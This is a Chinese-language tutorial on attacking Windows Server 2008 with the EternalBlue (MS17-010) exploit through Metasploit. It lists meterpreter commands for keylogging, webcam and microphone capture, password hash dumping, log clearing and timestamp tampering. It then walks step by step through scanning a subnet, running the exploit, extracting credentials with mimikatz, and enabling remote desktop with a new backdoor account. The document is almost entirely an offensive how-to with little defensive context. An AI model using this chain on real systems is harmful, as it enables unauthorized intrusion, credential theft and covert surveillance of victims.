永恒之藍實戰教程之Mac通過Metasploit攻擊Server2008的詳細過程

show exploits – 查看所有可用的滲透攻擊程序代碼 
show auxiliary – 查看所有可用的輔助攻擊工具 
show options – 查看該模塊所有可用選項 
show payloads – 查看該模塊適用的所有載荷代碼 
show targets – 查看該模塊適用的攻擊目標類型
search – 根據關鍵字搜索某模塊 
info – 顯示某模塊的詳細信息 
use – 進入使用某滲透攻擊模塊 
back – 回退 
set/unset – 設置/禁用模塊中的某個參數 
setg/unsetg – 設置/禁用適用於所有模塊的全局參數 
save – 將當前設置值保存下來，以便下次啟動MSF終端時仍可使用

Core Commands
=============
    Command                   Description
    -------                   -----------
    ?                         Help menu
    background                Backgrounds the current session
    bg                        Alias for background
    bgkill                    Kills a background meterpreter script
    bglist                    Lists running background scripts
    bgrun                     Executes a meterpreter script as a background thread
    channel                   Displays information or control active channels
    close                     Closes a channel
    detach                    Detach the meterpreter session (for http/https)
    disable_unicode_encoding  Disables encoding of unicode strings
    enable_unicode_encoding   Enables encoding of unicode strings
    exit                      Terminate the meterpreter session
    get_timeouts              Get the current session timeout values
    guid                      Get the session GUID
    help                      Help menu
    info                      Displays information about a Post module
    irb                       Open an interactive Ruby shell on the current session
    load                      Load one or more meterpreter extensions
    machine_id                Get the MSF ID of the machine attached to the session
    migrate                   Migrate the server to another process
    pivot                     Manage pivot listeners
    pry                       Open the Pry debugger on the current session
    quit                      Terminate the meterpreter session
    read                      Reads data from a channel
    resource                  Run the commands stored in a file
    run                       Executes a meterpreter script or Post module
    secure                    (Re)Negotiate TLV packet encryption on the session
    sessions                  Quickly switch to another session
    set_timeouts              Set the current session timeout values
    sleep                     Force Meterpreter to go quiet, then re-establish session
    ssl_verify                Modify the SSL certificate verification setting
    transport                 Manage the transport mechanisms
    use                       Deprecated alias for "load"
    uuid                      Get the UUID for the current session
    write                     Writes data to a channel
Stdapi: File system Commands
============================
    Command       Description
    -------       -----------
    cat           Read the contents of a file to the screen
    cd            Change directory
    checksum      Retrieve the checksum of a file
    cp            Copy source to destination
    del           Delete the specified file
    dir           List files (alias for ls)
    download      Download a file or directory
    edit          Edit a file
    getlwd        Print local working directory
    getwd         Print working directory
    lcat          Read the contents of a local file to the screen
    lcd           Change local working directory
    lls           List local files
    lpwd          Print local working directory
    ls            List files
    mkdir         Make directory
    mv            Move source to destination
    pwd           Print working directory
    rm            Delete the specified file
    rmdir         Remove directory
    search        Search for files
    show_mount    List all mount points/logical drives
    upload        Upload a file or directory
Stdapi: Networking Commands
===========================
    Command       Description
    -------       -----------
    arp           Display the host ARP cache
    getproxy      Display the current proxy configuration
    ifconfig      Display interfaces
    ipconfig      Display interfaces
    netstat       Display the network connections
    portfwd       Forward a local port to a remote service
    resolve       Resolve a set of host names on the target
    route         View and modify the routing table
Stdapi: System Commands
=======================
    Command       Description
    -------       -----------
    clearev       Clear the event log
    drop_token    Relinquishes any active impersonation token.
    execute       Execute a command
    getenv        Get one or more environment variable values
    getpid        Get the current process identifier
    getprivs      Attempt to enable all privileges available to the current process
    getsid        Get the SID of the user that the server is running as
    getuid        Get the user that the server is running as
    kill          Terminate a process
    localtime     Displays the target system local date and time
    pgrep         Filter processes by name
    pkill         Terminate processes by name
    ps            List running processes
    reboot        Reboots the remote computer
    reg           Modify and interact with the remote registry
    rev2self      Calls RevertToSelf() on the remote machine
    shell         Drop into a system command shell
    shutdown      Shuts down the remote computer
    steal_token   Attempts to steal an impersonation token from the target process
    suspend       Suspends or resumes a list of processes
    sysinfo       Gets information about the remote system, such as OS
Stdapi: User interface Commands
===============================
    Command        Description
    -------        -----------
    enumdesktops   List all accessible desktops and window stations
    getdesktop     Get the current meterpreter desktop
    idletime       Returns the number of seconds the remote user has been idle
    keyboard_send  Send keystrokes
    keyevent       Send key events
    keyscan_dump   Dump the keystroke buffer
    keyscan_start  Start capturing keystrokes
    keyscan_stop   Stop capturing keystrokes
    mouse          Send mouse events
    screenshare    Watch the remote user desktop in real time
    screenshot     Grab a screenshot of the interactive desktop
    setdesktop     Change the meterpreters current desktop
    uictl          Control some of the user interface components
Stdapi: Webcam Commands
=======================
    Command        Description
    -------        -----------
    record_mic     Record audio from the default microphone for X seconds
    webcam_chat    Start a video chat
    webcam_list    List webcams
    webcam_snap    Take a snapshot from the specified webcam
    webcam_stream  Play a video stream from the specified webcam
Stdapi: Audio Output Commands
=============================
    Command       Description
    -------       -----------
    play          play a waveform audio file (.wav) on the target system
Priv: Elevate Commands
======================
    Command       Description
    -------       -----------
    getsystem     Attempt to elevate your privilege to that of local system.
Priv: Password database Commands
================================
    Command       Description
    -------       -----------
    hashdump      Dumps the contents of the SAM database
Priv: Timestomp Commands
========================
    Command       Description
    -------       -----------
    timestomp     Manipulate file MACE attributes

# 切換到工作目錄
cd /opt/metasploit-framework/bin/

# 一定要這麼做，否則連接的數據庫一定有問題。
./msfdb init

# 運行Metasploit開控臺（運行一次會將路徑設置到環境變量中，以後就可以直接訪問該目錄中所有命令瞭）
./msfconsole

msf6 > search 17-010

# 選中插件
use auxiliary/scanner/smb/smb_ms17_010
# 設置目錄機器，單個ip驗證（虛擬機中的Server2008）
set RHOSTS 192.168.1.216

# 開始執行漏洞掃描
run

# RHOSTS這個參數可以設置一個目標網段，進行掃描測試
set RHOSTS 192.168.29.1/24

# 設置掃描線程，插件默認是1，這裡設置為20：
set THREADS 20

use exploit/windows/smb/ms17_010_eternalblue 
set RHOSTS 192.168.1.1
set THREADS 10
run

# 加載mimikatz
load mimikatz

# 讀取內存中存放的賬號密碼
creds_wdigest

# 1，啟動遠程桌面（通過爆破出來的密碼登錄）
meterpreter > run post/windows/manage/enable_rdp 
# 2，創建一個新用戶來遠程連接 windows 桌面
meterpreter > run post/windows/manage/enable_rdp username=root [email protected]